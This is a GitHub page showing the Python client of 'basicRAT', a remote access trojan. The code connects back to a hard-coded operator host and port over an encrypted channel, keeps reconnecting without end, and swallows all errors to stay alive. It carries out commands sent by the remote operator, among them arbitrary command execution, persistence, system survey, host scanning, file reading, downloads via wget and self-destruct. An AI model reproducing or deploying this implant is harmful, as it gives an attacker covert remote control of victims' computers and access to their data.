-
Notifications
You must be signed in to change notification settings - Fork 2
/
basicRAT_Client.py
137 lines (85 loc) · 2.79 KB
/
basicRAT_Client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#!/usr/bin/env python
#
# basicRAT client
# https://github.com/xifeng2009/basicRAT3
#
import socket, sys, time, datetime
from core import *
# Change these to suit your needs
HOST = '192.168.80.130'
PORT = 1337
# Seconds to wait before client will attempt to reconnect
CONN_TIMEOUT = 30
# Parameters
NOW = lambda : datetime.datetime.now().strftime("[%Y-%m-%d %H:%M:%S]")
# Determine system platform
if sys.platform.startswith('win'):
PLAT = 'win'
elif sys.platform.startswith('linux'):
PLAT = 'nix'
elif sys.platform.startswith('darwin'):
PLAT = 'mac'
else:
print('[!] {} This platform is not supported.'.format(NOW()))
sys.exit(1)
# LOOP
def client_loop(conn, dhkey):
while True:
results = ''
# Wait to receive data from server
data = crypto.decrypt(conn.recv(4096), dhkey)
# Seperate data into command and action
cmd, _, action = data.partition(' ')
if cmd == 'kill':
conn.close(); return 1
elif cmd == 'selfdestruct':
conn.close() # TODO: 添加一个询问密码机制
toolkit.selfdestruct(PLAT)
elif cmd == 'quit':
conn.shutdown(socket.SHUT_RDWR)
conn.close()
break
elif cmd == 'persistence':
results = persistence.run(PLAT)
elif cmd == 'scan':
results = scan.singel_host(action)
elif cmd == 'survey':
results = survey.run(PLAT)
elif cmd == 'cat':
results = toolkit.cat(action)
elif cmd == 'execute':
results = toolkit.execute(action)
elif cmd == 'ls':
results = toolkit.ls(action)
elif cmd == 'pwd':
results = toolkit.pwd()
elif cmd == 'unzip':
results = toolkit.unzip(action)
elif cmd == 'wget':
results = toolkit.wget(action)
results = results.rstrip() + '\n{} completed.'.format(cmd.upper()) # TODO
conn.send(crypto.encrypt(results, dhkey))
def main():
exit_status = True
while True:
conn = socket.socket()
try:
# Attempt to Connect to basicRAT server
conn.connect((HOST, PORT))
except socket.error:
time.sleep(CONN_TIMEOUT)
continue
dhkey = crypto.diffiehellman(conn)
'''
This try/except statement makes the client very resilient,
But it's horrible for debugging.
It will keep the client alive if the server is torn down unexpectedly,
Or if the client freaks out.
'''
try:
exit_status = client_loop(conn, dhkey)
except: pass
if exit_status:
sys.exit(0)
if __name__ == '__main__':
main()